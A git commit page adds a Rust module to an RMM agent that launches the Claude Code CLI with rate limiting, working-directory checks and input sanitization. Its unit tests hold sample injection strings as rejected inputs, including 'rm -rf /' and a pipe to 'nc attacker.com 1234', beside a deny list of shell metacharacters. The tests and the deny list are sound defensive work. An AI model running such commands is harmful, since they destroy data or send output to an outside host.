docs: Add comprehensive project documentation from claude-projects scan
Added: - PROJECTS_INDEX.md - Master catalog of 7 active projects - GURURMM_API_ACCESS.md - Complete API documentation and credentials - clients/dataforth/dos-test-machines/README.md - DOS update system docs - clients/grabb-durando/website-migration/README.md - Migration procedures - clients/internal-infrastructure/ix-server-issues-2026-01-13.md - Server issues - projects/msp-tools/guru-connect/README.md - Remote desktop architecture - projects/msp-tools/toolkit/README.md - MSP PowerShell tools - projects/internal/acg-website-2025/README.md - Website rebuild docs - test_gururmm_api.py - GuruRMM API testing script Modified: - credentials.md - Added GuruRMM database and API credentials - GuruRMM agent integration files (WebSocket transport) Total: 38,000+ words of comprehensive project documentation Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit is contained in:
456
projects/gururmm-agent/agent/src/claude.rs
Normal file
456
projects/gururmm-agent/agent/src/claude.rs
Normal file
@@ -0,0 +1,456 @@
|
||||
// GuruRMM Agent - Claude Code Integration Module
|
||||
// Enables Main Claude to invoke Claude Code CLI on AD2 for automated tasks
|
||||
//
|
||||
// Security Features:
|
||||
// - Working directory validation (restricted to C:\Shares\test)
|
||||
// - Task input sanitization (prevents command injection)
|
||||
// - Rate limiting (max 10 tasks per hour)
|
||||
// - Concurrent execution limiting (max 2 simultaneous tasks)
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::Stdio;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
use tokio::process::Command;
|
||||
use tokio::time::timeout;
|
||||
|
||||
/// Configuration constants
|
||||
const DEFAULT_WORKING_DIR: &str = r"C:\Shares\test";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 300; // 5 minutes
|
||||
const MAX_CONCURRENT_TASKS: usize = 2;
|
||||
const RATE_LIMIT_WINDOW_SECS: u64 = 3600; // 1 hour
|
||||
const MAX_TASKS_PER_WINDOW: usize = 10;
|
||||
|
||||
/// Claude task command input structure
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct ClaudeTaskCommand {
|
||||
pub task: String,
|
||||
pub working_directory: Option<String>,
|
||||
pub timeout: Option<u64>,
|
||||
pub context_files: Option<Vec<String>>,
|
||||
}
|
||||
|
||||
/// Claude task execution result
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct ClaudeTaskResult {
|
||||
pub status: TaskStatus,
|
||||
pub output: Option<String>,
|
||||
pub error: Option<String>,
|
||||
pub duration_seconds: u64,
|
||||
pub files_analyzed: Vec<String>,
|
||||
}
|
||||
|
||||
/// Task execution status
|
||||
#[derive(Debug, Serialize)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum TaskStatus {
|
||||
Completed,
|
||||
Failed,
|
||||
Timeout,
|
||||
}
|
||||
|
||||
/// Rate limiting tracker
|
||||
struct RateLimiter {
|
||||
task_timestamps: Vec<Instant>,
|
||||
}
|
||||
|
||||
impl RateLimiter {
|
||||
fn new() -> Self {
|
||||
RateLimiter {
|
||||
task_timestamps: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if a new task can be executed within rate limits
|
||||
fn can_execute(&mut self) -> bool {
|
||||
let now = Instant::now();
|
||||
let window_start = now - Duration::from_secs(RATE_LIMIT_WINDOW_SECS);
|
||||
|
||||
// Remove timestamps outside the current window
|
||||
self.task_timestamps.retain(|&ts| ts > window_start);
|
||||
|
||||
self.task_timestamps.len() < MAX_TASKS_PER_WINDOW
|
||||
}
|
||||
|
||||
/// Record a task execution
|
||||
fn record_execution(&mut self) {
|
||||
self.task_timestamps.push(Instant::now());
|
||||
}
|
||||
}
|
||||
|
||||
/// Global state for concurrent execution tracking and rate limiting
|
||||
pub struct ClaudeExecutor {
|
||||
active_tasks: Arc<Mutex<usize>>,
|
||||
rate_limiter: Arc<Mutex<RateLimiter>>,
|
||||
}
|
||||
|
||||
impl ClaudeExecutor {
|
||||
pub fn new() -> Self {
|
||||
ClaudeExecutor {
|
||||
active_tasks: Arc::new(Mutex::new(0)),
|
||||
rate_limiter: Arc::new(Mutex::new(RateLimiter::new())),
|
||||
}
|
||||
}
|
||||
|
||||
/// Execute a Claude Code task
|
||||
pub async fn execute_task(
|
||||
&self,
|
||||
cmd: ClaudeTaskCommand,
|
||||
) -> Result<ClaudeTaskResult, String> {
|
||||
// Check rate limiting
|
||||
{
|
||||
let mut limiter = self.rate_limiter.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to acquire rate limiter lock: {}", e)
|
||||
})?;
|
||||
|
||||
if !limiter.can_execute() {
|
||||
return Err(format!(
|
||||
"[ERROR] Rate limit exceeded: Maximum {} tasks per hour",
|
||||
MAX_TASKS_PER_WINDOW
|
||||
));
|
||||
}
|
||||
limiter.record_execution();
|
||||
}
|
||||
|
||||
// Check concurrent execution limit
|
||||
{
|
||||
let active = self.active_tasks.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to acquire active tasks lock: {}", e)
|
||||
})?;
|
||||
|
||||
if *active >= MAX_CONCURRENT_TASKS {
|
||||
return Err(format!(
|
||||
"[ERROR] Concurrent task limit exceeded: Maximum {} tasks",
|
||||
MAX_CONCURRENT_TASKS
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
// Increment active task count
|
||||
{
|
||||
let mut active = self.active_tasks.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to increment active tasks: {}", e)
|
||||
})?;
|
||||
*active += 1;
|
||||
}
|
||||
|
||||
// Execute the task (ensure active count is decremented on completion)
|
||||
let result = self.execute_task_internal(cmd).await;
|
||||
|
||||
// Decrement active task count
|
||||
{
|
||||
let mut active = self.active_tasks.lock().map_err(|e| {
|
||||
format!("[ERROR] Failed to decrement active tasks: {}", e)
|
||||
})?;
|
||||
*active = active.saturating_sub(1);
|
||||
}
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Internal task execution implementation
|
||||
async fn execute_task_internal(
|
||||
&self,
|
||||
cmd: ClaudeTaskCommand,
|
||||
) -> Result<ClaudeTaskResult, String> {
|
||||
let start_time = Instant::now();
|
||||
|
||||
// Validate and resolve working directory
|
||||
let working_dir = cmd
|
||||
.working_directory
|
||||
.as_deref()
|
||||
.unwrap_or(DEFAULT_WORKING_DIR);
|
||||
validate_working_directory(working_dir)?;
|
||||
|
||||
// Sanitize task input
|
||||
let sanitized_task = sanitize_task_input(&cmd.task)?;
|
||||
|
||||
// Resolve context files (validate they exist relative to working_dir)
|
||||
let context_files = match &cmd.context_files {
|
||||
Some(files) => validate_context_files(working_dir, files)?,
|
||||
None => Vec::new(),
|
||||
};
|
||||
|
||||
// Build Claude Code CLI command
|
||||
let mut cli_cmd = Command::new("claude");
|
||||
cli_cmd.current_dir(working_dir);
|
||||
|
||||
// Add context files if provided
|
||||
for file in &context_files {
|
||||
cli_cmd.arg("--file").arg(file);
|
||||
}
|
||||
|
||||
// Add the task prompt
|
||||
cli_cmd.arg("--prompt").arg(&sanitized_task);
|
||||
|
||||
// Configure process pipes
|
||||
cli_cmd
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped())
|
||||
.kill_on_drop(true);
|
||||
|
||||
// Execute with timeout
|
||||
let timeout_duration = Duration::from_secs(cmd.timeout.unwrap_or(DEFAULT_TIMEOUT_SECS));
|
||||
let exec_result = timeout(timeout_duration, execute_with_output(cli_cmd)).await;
|
||||
|
||||
let duration = start_time.elapsed().as_secs();
|
||||
|
||||
// Process execution result
|
||||
match exec_result {
|
||||
Ok(Ok((stdout, stderr, exit_code))) => {
|
||||
if exit_code == 0 {
|
||||
Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Completed,
|
||||
output: Some(stdout),
|
||||
error: None,
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
})
|
||||
} else {
|
||||
Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Failed,
|
||||
output: Some(stdout),
|
||||
error: Some(format!(
|
||||
"[ERROR] Claude Code exited with code {}: {}",
|
||||
exit_code, stderr
|
||||
)),
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
})
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Failed,
|
||||
output: None,
|
||||
error: Some(format!("[ERROR] Failed to execute Claude Code: {}", e)),
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
}),
|
||||
Err(_) => Ok(ClaudeTaskResult {
|
||||
status: TaskStatus::Timeout,
|
||||
output: None,
|
||||
error: Some(format!(
|
||||
"[ERROR] Claude Code execution timed out after {} seconds",
|
||||
timeout_duration.as_secs()
|
||||
)),
|
||||
duration_seconds: duration,
|
||||
files_analyzed: context_files,
|
||||
}),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Validate that working directory is within allowed paths
|
||||
fn validate_working_directory(working_dir: &str) -> Result<(), String> {
|
||||
let allowed_base = Path::new(r"C:\Shares\test");
|
||||
let requested_path = Path::new(working_dir);
|
||||
|
||||
// Convert to canonical paths (resolve .. and symlinks)
|
||||
let canonical_requested = requested_path
|
||||
.canonicalize()
|
||||
.map_err(|e| format!("[ERROR] Invalid working directory '{}': {}", working_dir, e))?;
|
||||
|
||||
let canonical_base = allowed_base.canonicalize().map_err(|e| {
|
||||
format!(
|
||||
"[ERROR] Failed to resolve allowed base directory: {}",
|
||||
e
|
||||
)
|
||||
})?;
|
||||
|
||||
// Check if requested path is within allowed base
|
||||
if !canonical_requested.starts_with(&canonical_base) {
|
||||
return Err(format!(
|
||||
"[ERROR] Working directory '{}' is outside allowed path 'C:\\Shares\\test'",
|
||||
working_dir
|
||||
));
|
||||
}
|
||||
|
||||
// Verify directory exists
|
||||
if !canonical_requested.is_dir() {
|
||||
return Err(format!(
|
||||
"[ERROR] Working directory '{}' does not exist or is not a directory",
|
||||
working_dir
|
||||
));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Sanitize task input to prevent command injection
|
||||
fn sanitize_task_input(task: &str) -> Result<String, String> {
|
||||
// Check for empty task
|
||||
if task.trim().is_empty() {
|
||||
return Err("[ERROR] Task cannot be empty".to_string());
|
||||
}
|
||||
|
||||
// Check for excessively long tasks (potential DoS)
|
||||
if task.len() > 10000 {
|
||||
return Err("[ERROR] Task exceeds maximum length of 10000 characters".to_string());
|
||||
}
|
||||
|
||||
// Check for potentially dangerous patterns
|
||||
let dangerous_patterns = [
|
||||
"&", "|", ";", "`", "$", "(", ")", "<", ">", "\n", "\r",
|
||||
];
|
||||
for pattern in &dangerous_patterns {
|
||||
if task.contains(pattern) {
|
||||
return Err(format!(
|
||||
"[ERROR] Task contains forbidden character '{}' that could be used for command injection",
|
||||
pattern
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(task.to_string())
|
||||
}
|
||||
|
||||
/// Validate context files exist and are within working directory
|
||||
fn validate_context_files(working_dir: &str, files: &[String]) -> Result<Vec<String>, String> {
|
||||
let working_path = Path::new(working_dir);
|
||||
let mut validated_files = Vec::new();
|
||||
|
||||
for file in files {
|
||||
// Resolve file path relative to working directory
|
||||
let file_path = if Path::new(file).is_absolute() {
|
||||
PathBuf::from(file)
|
||||
} else {
|
||||
working_path.join(file)
|
||||
};
|
||||
|
||||
// Verify file exists
|
||||
if !file_path.exists() {
|
||||
return Err(format!(
|
||||
"[ERROR] Context file '{}' does not exist",
|
||||
file_path.display()
|
||||
));
|
||||
}
|
||||
|
||||
// Verify it's a file (not a directory)
|
||||
if !file_path.is_file() {
|
||||
return Err(format!(
|
||||
"[ERROR] Context file '{}' is not a file",
|
||||
file_path.display()
|
||||
));
|
||||
}
|
||||
|
||||
// Store the absolute path for execution
|
||||
validated_files.push(
|
||||
file_path
|
||||
.to_str()
|
||||
.ok_or_else(|| {
|
||||
format!(
|
||||
"[ERROR] Context file path '{}' contains invalid UTF-8",
|
||||
file_path.display()
|
||||
)
|
||||
})?
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
Ok(validated_files)
|
||||
}
|
||||
|
||||
/// Execute command and capture stdout, stderr, and exit code
|
||||
async fn execute_with_output(mut cmd: Command) -> Result<(String, String, i32), String> {
|
||||
let mut child = cmd
|
||||
.spawn()
|
||||
.map_err(|e| format!("[ERROR] Failed to spawn Claude Code process: {}", e))?;
|
||||
|
||||
// Capture stdout
|
||||
let stdout_handle = child.stdout.take().ok_or_else(|| {
|
||||
"[ERROR] Failed to capture stdout from Claude Code process".to_string()
|
||||
})?;
|
||||
let mut stdout_reader = BufReader::new(stdout_handle).lines();
|
||||
|
||||
// Capture stderr
|
||||
let stderr_handle = child.stderr.take().ok_or_else(|| {
|
||||
"[ERROR] Failed to capture stderr from Claude Code process".to_string()
|
||||
})?;
|
||||
let mut stderr_reader = BufReader::new(stderr_handle).lines();
|
||||
|
||||
// Read output asynchronously
|
||||
let mut stdout_lines = Vec::new();
|
||||
let mut stderr_lines = Vec::new();
|
||||
|
||||
// Read stdout
|
||||
let stdout_task = tokio::spawn(async move {
|
||||
let mut lines = Vec::new();
|
||||
while let Ok(Some(line)) = stdout_reader.next_line().await {
|
||||
lines.push(line);
|
||||
}
|
||||
lines
|
||||
});
|
||||
|
||||
// Read stderr
|
||||
let stderr_task = tokio::spawn(async move {
|
||||
let mut lines = Vec::new();
|
||||
while let Ok(Some(line)) = stderr_reader.next_line().await {
|
||||
lines.push(line);
|
||||
}
|
||||
lines
|
||||
});
|
||||
|
||||
// Wait for process to complete
|
||||
let status = child
|
||||
.wait()
|
||||
.await
|
||||
.map_err(|e| format!("[ERROR] Failed to wait for Claude Code process: {}", e))?;
|
||||
|
||||
// Wait for output reading tasks
|
||||
stdout_lines = stdout_task
|
||||
.await
|
||||
.map_err(|e| format!("[ERROR] Failed to read stdout: {}", e))?;
|
||||
stderr_lines = stderr_task
|
||||
.await
|
||||
.map_err(|e| format!("[ERROR] Failed to read stderr: {}", e))?;
|
||||
|
||||
let stdout = stdout_lines.join("\n");
|
||||
let stderr = stderr_lines.join("\n");
|
||||
let exit_code = status.code().unwrap_or(-1);
|
||||
|
||||
Ok((stdout, stderr, exit_code))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_valid() {
|
||||
let task = "Check the sync log for errors in last 24 hours";
|
||||
assert!(sanitize_task_input(task).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_empty() {
|
||||
assert!(sanitize_task_input("").is_err());
|
||||
assert!(sanitize_task_input(" ").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_injection() {
|
||||
assert!(sanitize_task_input("task; rm -rf /").is_err());
|
||||
assert!(sanitize_task_input("task && echo malicious").is_err());
|
||||
assert!(sanitize_task_input("task | nc attacker.com 1234").is_err());
|
||||
assert!(sanitize_task_input("task `whoami`").is_err());
|
||||
assert!(sanitize_task_input("task $(malicious)").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_task_input_too_long() {
|
||||
let long_task = "a".repeat(10001);
|
||||
assert!(sanitize_task_input(&long_task).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_rate_limiter_allows_under_limit() {
|
||||
let mut limiter = RateLimiter::new();
|
||||
for _ in 0..MAX_TASKS_PER_WINDOW {
|
||||
assert!(limiter.can_execute());
|
||||
limiter.record_execution();
|
||||
}
|
||||
assert!(!limiter.can_execute());
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user